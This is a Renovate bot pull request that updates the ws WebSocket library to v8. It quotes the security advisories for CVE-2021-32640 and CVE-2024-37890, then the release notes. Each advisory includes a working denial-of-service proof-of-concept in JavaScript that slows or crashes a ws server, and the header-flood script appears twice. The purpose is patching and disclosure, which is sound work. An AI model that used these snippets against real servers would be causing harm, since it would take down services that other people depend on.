Update dependency ws to v8 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	^7.4.6 -> ^8.0.0
ws	^7.4.4 -> ^8.0.0

GitHub Vulnerability Alerts

CVE-2021-32640

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in ws@7.4.6 (websockets/ws@00c425e) and backported to ws@6.2.2 (websockets/ws@78c676d) and ws@5.2.3 (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

---

Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

• The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

• Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

• The allowMultipleEventsPerMicrotask option has been renamed to
  allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

• Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

• Fixed an issue that allowed errors thrown by failed assertions to be
  swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

• Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

• The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
• The socket argument of server.handleUpgrade() can now be a generic
  Duplex stream (#​2165).

Other notable changes

• At most one event per microtask is now emitted (#​2160).

v8.13.0

Compare Source

Features

• Added the finishRequest option to support late addition of headers (#​2123).

v8.12.1

Compare Source

Bug fixes

• Added browser condition to package.json (#​2118).

v8.12.0

Compare Source

Features

• Added support for utf-8-validate@6 (ff63bba).

Other notable changes

• [buffer.isUtf8()][buffer.isUtf8()] is now used instead of utf-8-validate if available
  (42d79f6).

v8.11.0

Compare Source

Features

• WebSocket.prototype.addEventListener() now supports an event listener
  specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

• WebSocket.prototype.addEventListener() now adds an event listener only if it
  is not already in the list of the event listeners for the specified event type
  (1cec17d).

v8.10.0

Compare Source

Features

• Added an export for package.json (211d5d3).

v8.9.0

Compare Source

Features

• Added the ability to connect to Windows named pipes (#​2079).

v8.8.1

Compare Source

Bug fixes

• The Authorization and Cookie headers are no longer sent if the original
  request for the opening handshake is sent to an IPC server and the client is
  redirected to another IPC server (bc8bd34).

v8.8.0

Compare Source

Features

• Added the WS_NO_BUFFER_UTIL and WS_NO_UTF_8_VALIDATE environment
  variables (becf237).

v8.7.0

Compare Source

Features

• Added the ability to inspect the invalid handshake requests and respond to
  them with a custom HTTP response. (6e5a5ce).

Bug fixes

• The handshake is now aborted if the Upgrade header field value in the HTTP
  response is not a case-insensitive match for the value "websocket" (0fdcc0a).
• The Authorization and Cookie headers are no longer sent when following an
  insecure redirect (wss: to ws:) to the same host (d68ba9e).

v8.6.0

Compare Source

Features

• Added the ability to remove confidential headers on a per-redirect basis (#​2030).

v8.5.0

Compare Source

Features

• Added the ability to use a custom WebSocket class on the server (#​2007).

Bug fixes

• When following redirects, the Authorization and Cookie headers are no
  longer sent if the redirect host is different from the original host (#​2013).

v8.4.2

Compare Source

Bug fixes

• Fixed a data framing issue introduced in version 8.4.1 (#​2004).

v8.4.1

Compare Source

Notable changes

• To improve performance, strings sent via websocket.ping(),
  websocket.pong(), and websocket.send() are no longer converted to
  Buffers if the data does not need to be masked (#​2000).

v8.4.0

Compare Source

Features

• Added ability to generate custom masking keys (#​1990).

v8.3.0

Compare Source

Features

• Added ability to pause and resume a WebSocket (0a8c7a9).

Bug fixes

• Fixed a bug that could prevent the connection from being closed cleanly when
  using the stream API (ed2b803).
• When following redirects, an error is now emitted and not thrown if the
  redirect URL is invalid (#​1980).

v8.2.3

Compare Source

Bug fixes

• When context takeover is enabled, messages are now compressed even if their size
  is below the value of the perMessageDeflate.threshold option (41ae563).

v8.2.2

Compare Source

Bug fixes

• Some closing operations are now run only if needed (ec9377c).

v8.2.1

Compare Source

Bug fixes

• Fixed an issue where the socket was not resumed, preventing the connection
  from being closed cleanly (869c989).

v8.2.0

Compare Source

Features

• Added WebSocket.WebSocket as an alias for WebSocket and
  WebSocket.WebSocketServer as an alias for WebSocket.Server to fix name
  consistency and improve interoperability with the ES module wrapper (#​1935).

v8.1.0

Compare Source

Features

• Added ability to skip UTF-8 validation (#​1928).

Bug fixes

• Fixed an issue with a breaking change in Node.js master (6a72da3).
• Fixed a misleading error message (c95e695).

v8.0.0

Compare Source

Breaking changes

• The WebSocket constructor now throws a SyntaxError if any of the
  subprotocol names are invalid or duplicated (0aecf0c).

• The server now aborts the opening handshake if an invalid
  Sec-WebSocket-Protocol header field value is received (1877dde).

• The protocols argument of handleProtocols hook is no longer an Array but
  a Set (1877dde).

• The opening handshake is now aborted if the Sec-WebSocket-Extensions header
  field value is empty or it begins or ends with a white space (e814110).

• Dropped support for Node.js < 10.0.0 (552b506).

• The WebSocket constructor now throws a SyntaxError if the connection URL
  contains a fragment identifier or if the URL's protocol is not one of 'ws:',
  'wss:', or 'ws+unix:' (ebea038).

• Text messages and close reasons are no longer decoded to strings. They are
  passed as Buffers to the listeners of their respective events. The listeners
  of the 'message' event now take a boolean argument specifying whether or not
  the message is binary (e173423).

  Existing code can be migrated by decoding the buffer explicitly.

  websocket.on('message', function message(data, isBinary) {
    const message = isBinary ? data : data.toString();
    // Continue as before.
  });
  
  websocket.on('close', function close(code, data) {
    const reason = data.toString();
    // Continue as before.
  });

• The package now uses an ES module wrapper (78adf5f).

• WebSocketServer.prototype.close() no longer closes existing connections
  (df7de57).

  Existing code can be migrated by closing the connections manually.

  websocketServer.close();
  for (const ws of websocketServer.clients) {
    ws.terminate();
  }

• The callback of WebSocketServer.prototype.close() is now called with an
  error if the server is already closed (abde9cf).

• WebSocket.prototype.addEventListener() is now a noop if the type argument
  is not one of 'close', 'error', 'message', or 'open' (9558ed1).

• WebSocket.prototype.removeEventListener() now only removes listeners added
  with WebSocket.prototype.addEventListener() and only one at time (ea95d9c).

• The value of the onclose, onerror, onmessage, and onopen properties is
  now null if the respective event handler is not set (6756cf5).

• The OpenEvent class has been removed (21e6500).

Bug fixes

• The event listeners added via handler properties are now independent from the
  event listeners added with WebSocket.prototype.addEventListener()
  (0b21c03).

v7.5.10

Compare Source

Bug fixes

• Backported e55e510 to the 7.x release line (22c2876).

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[changeset-bot]

⚠️ No Changeset found

Latest commit: 9f05e60

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR